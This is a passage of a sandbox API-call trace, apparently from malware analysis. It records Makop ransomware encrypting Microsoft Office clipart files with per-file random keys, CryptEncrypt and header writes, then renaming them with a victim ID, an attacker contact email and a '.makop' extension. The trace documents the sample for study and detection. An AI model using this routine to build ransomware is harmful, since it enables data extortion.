lpOverlapped=0x0) returned 1 [0108.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.155] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.155] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.155] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4780, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4780, lpOverlapped=0x0) returned 1 [0108.157] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4780, dwBufLen=0x4780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4780) returned 1 [0108.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4780, lpOverlapped=0x0) returned 1 [0108.158] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.158] SetEndOfFile (hFile=0xf0) returned 1 [0108.165] GetProcessHeap () returned 0x48a0000 [0108.165] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.165] GetProcessHeap () returned 0x48a0000 [0108.165] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.165] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.167] CloseHandle (hObject=0xf0) returned 1 [0108.167] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0108.181] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0108.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.182] GetProcessHeap () returned 0x48a0000 [0108.182] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.182] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0108.278] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.278] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.279] GetProcessHeap () returned 0x48a0000 [0108.279] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.279] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.279] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.279] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.279] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.279] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.279] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.280] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.280] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.280] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.280] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.280] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.280] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b32, lpOverlapped=0x0) returned 1 [0108.282] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b40) returned 1 [0108.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b40, lpOverlapped=0x0) returned 1 [0108.282] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.282] SetEndOfFile (hFile=0xf0) returned 1 [0108.289] GetProcessHeap () returned 0x48a0000 [0108.289] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.289] GetProcessHeap () returned 0x48a0000 [0108.289] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.289] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.295] CloseHandle (hObject=0xf0) returned 1 [0108.295] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0108.296] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0108.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.299] GetProcessHeap () returned 0x48a0000 [0108.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.299] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.299] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.299] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.303] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.303] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.303] GetProcessHeap () returned 0x48a0000 [0108.303] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.304] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.304] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.305] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.305] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30e8, lpOverlapped=0x0) returned 1 [0108.306] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0) returned 1 [0108.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.306] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30f0, lpOverlapped=0x0) returned 1 [0108.307] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.307] SetEndOfFile (hFile=0xf0) returned 1 [0108.316] GetProcessHeap () returned 0x48a0000 [0108.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.316] GetProcessHeap () returned 0x48a0000 [0108.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.316] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.318] CloseHandle (hObject=0xf0) returned 1 [0108.318] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0108.318] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0108.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.403] GetProcessHeap () returned 0x48a0000 [0108.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.403] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0108.658] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.658] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.658] GetProcessHeap () returned 0x48a0000 [0108.658] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.658] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.658] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.659] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.659] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.659] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.659] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.659] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.660] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x265a, lpOverlapped=0x0) returned 1 [0108.661] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2660, dwBufLen=0x2660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2660) returned 1 [0108.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2660, lpOverlapped=0x0) returned 1 [0108.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.662] SetEndOfFile (hFile=0xf0) returned 1 [0108.669] GetProcessHeap () returned 0x48a0000 [0108.670] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.670] GetProcessHeap () returned 0x48a0000 [0108.670] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.670] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.671] CloseHandle (hObject=0xf0) returned 1 [0108.672] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0108.672] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0108.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.672] GetProcessHeap () returned 0x48a0000 [0108.672] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.672] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.673] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0108.677] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.677] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.677] GetProcessHeap () returned 0x48a0000 [0108.677] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.677] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.677] CryptDestroyKey 